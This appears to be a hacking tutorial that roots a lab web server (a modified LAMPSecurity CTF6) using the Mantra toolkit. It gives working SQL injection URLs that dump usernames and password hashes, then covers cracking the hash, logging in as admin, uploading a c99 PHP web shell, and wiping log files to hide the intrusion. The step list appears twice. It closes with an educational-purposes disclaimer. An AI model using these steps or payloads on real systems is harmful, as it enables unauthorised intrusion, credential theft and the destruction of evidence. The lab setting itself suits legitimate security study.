Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_umUsuzd02aUKh_bbOBGMUXsDUHRsPEg-tNS7aE4TkVldk2cXkc6ayAvVswKu1W3JjdiAKprjDupB3SIg5OajP3zEfuVA0o8quq_MgcbqWH40a_trSTMpx3NauNL_ivpiTcPSgITtOGV6udUFfMgassttBi9tHaKIQ1M0bqzv5S7u2K=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_suZWPTdizqhRLs2oG9ESQCoU2z3zg7poOqeAuLRkge5bOkDXZKzVxupIbsiy1ft8a8Im-nBnaoRBluoGymlzofMdudCH-1oYubZpbfZz3ajafOdwBlLy69zoIK_N2kRVLhql6LfwZ4QKRF17izqTxYTNySN8SH_0Psb4LgdCVFZoTb2g=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uWSmUvYpdVakDJmakOJBJ80TN13f0byT3irY8TvIk8XzL-QhDsCghEEMxUV938ZnxzQ6YEfd5fTFiBsCvf2eVhTnUS0j8V936fXjBRJr5oLdPMp1InAnwwrdYum49CBsZaf37b83FWvjTbAvTMjt7hdmGh3iB5SMABW7q2Y2VOapNtGg=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_viD_rq7Oh2ShOwuqu3meOiXe5r7Ozny7ZCH-buBjzr19_dovfJS8jyW181CfLGtIahPIAGPMgubIyZwmknQy-V4rmRIroZIjiCKklSnLjUjvBbdzQSsHqJFE8Wjj2R0QxIDCMcS-sNJ-82gQaMWTHr53kTTw80AO5QlQTF_ATy8yB-gg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sGOKdkI0Dh2NiFofPxEXfeXcJAcauWwSEIKq5ENZLgFuCG8SUkWu0Im-jQIP23bJjNo7GeCxCTZABeHNoi94saMZVKwk0jE49g6Q3YosS6viCXiXVSI6GLPhOYsoJtlCFdRKohjHOvJ-QWAMXLkFDFqs-1APsdkSl2Xbw3_FHqRXeFXA=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s35mX3i0K3vyrt63GD9IE9tzBSUeXADbb-_5Nb0vl2G0NZxFSi-Lg11qkaeRGEX8s3yFm63lsbTgZ9oqnJhIHbKXe4XLLnmX-0qhK63nkBgMDpE4APlApexJr8efdmZvQurq8oHOUDfzMEoJpw53xqbpO17LonssvZWo7qcC0u4h3L=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQs7xCwAg4G-0PbZxtEhWEzlUxf7d5tZd29nJmkATCW9Awrlx_SI3mxu0H6N7JsiOvJYdgwXwbbLB0mLG-iGFGyTfyCCkvXyM7tXOteeedui-a73IGmBl3PRdX7gcgJgve0qzx1qVvy_SBP3GG-ZJdMPszlMsQa4tSzVtsojjEMvnZQpM=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v6aK0yOSaVGz07HIVXRVD_ZWvwLu3w9usK1iNchvl62o_S4ju0qpcClEYHFNBxPk2SMqkYXg12Bcv5OhIEYDzTxSmzgagRlL7PNhbIAUJX1Ena5ig-XJ7qFNyESd8zvRCw5gUWcJAHZ71aQc5_FS64b7iGbuvdw-yQf7gEDQ8vl46b9WE=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sBWGF46i8qodvC8QpDJETQAaP28SNbsVjHOqfkzwI2TqkavdDOOhDzfD1Z5EiOIxJPzRH_XXkYdTTY02I99HK-zaGUlIuZWyszuyq12y-YWv7eAGaXIafS-g70UMNvv3RGnMirW7r2QK-RRMPMf71lBuSop7suY6H2PbcPeRHmH9WjLuI=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s4HqjGeQ177ESvcdjlecgfF3z2rHgPeXLydp0Ibm1h9nEmvhAk_SHoK90pfCJAwRfCDvzwevIgo2IOfdop8WMzC5mPWgf9gJvj0E0ONkZSJWNatAyLnqOLKNAWMHAYutGL9ioJWi6qWsWtVIRBQLyZH-lY1Vjah6Df630Vl6v9X-8iZz4=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sh-LSdJ1IdeGyub7ajddAobrAwb9WplvgVSfZGsT-MetCnUVOzeaJEf9HaLJbhtSejygSlSlUsTmBdW4uXlCAQFNqsgBeSw1UtATYbfYiNiIAbZ201KMWOG31pWWo5l6aLkR0OfOfKD7qrfGAtkeKuwasCQfi8FzIAVq84HTTeEh_3Ew=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sSvbzajtGC5layDSiCEWgRennAP4z77d-hRi_sDcGFeA7VF-jN5YcAu5I7QZ_4dmFyqVoxYBZiqoxJMPQlAulZB71SaTGnf8NDKJf10icByTOJ3Pzog6UPIqev91Zzkq0V3R__2DYqONF_TDbfb05eKiMx3DFFdl4NHw4jm-RM-3kHuDA=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uCTmRXhLFbe5xrSrvEPW2xy4lxy1a7aRbMVw1HiY31REEMOtLtDac6mEx7I--TLiVpP4Fyj8UDVUVxuIiQVlLZ_VKNjepo7mBHbgz9kwrNLRWcowjPfrsg9FJbZV5fPFY67B6MVihl8XRlWpYC5VXQvWaZq0CQ0cMA69ruWSVw2FvBchE=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s2ypB6hjF8_Wwt00KAvbUxY5MfTrIIaywtO_LVmQIjmYcPRIxYaqJmz9caxhIuXJqst0fRyeKPjVrjKqqN-bUCC97GsYqwK4XSVhp4o22jbCmRQ6A-jmlhh1u1UeUArZQVFLQgr-rJUgEK2bE_M29Jc8ZexWwNFMypYFsGqnBO5nlUTw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uIshA0oKHcictQ4RuhhlkBAQMUVbQNL-M2gq-lnPzh-3cFMNV0tzz6ihkP34iqiWD5G6j4uxV7BDYNOjoR__XguX7SXB_u09KzfI9zukX635eroeUpPGOqSs8ZVT3woQR8A6rTMeF_eH9TkWPJiDSih6_ns2b9CCZy4m5nPhyq9DIxyw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sGVxsToofZiPvLzFIYgUCBwY8agXreeQNs88twtBL5VwLdB1Qb1gSDdi0cTnISWX9JNw_3OU8ngZJUea3ttWcOadQ30VtNnCjoJWm-PFeQ-DHPxw2ogADJtHORWiebTTH_bQdQwo2ivsIe8gqHVtz02Dhhn8En0-qWvpSQhUGM1v-W4ro=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uh8-RiUlX8JOVIQ7G80F3X4XDWpMBOsznlRG1epwektmgbOVxI8jkjfGWNIdJs9LZxBjkTrrC32TcYo7FNgPhdoG0cDq34R2bENUbYxoRHGcSzN9HInSn712gxo3uanNdpYRFYrELVTElmwHE-4cagO7XBYYjmoa6qGZkihvzl-BCaWJk=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
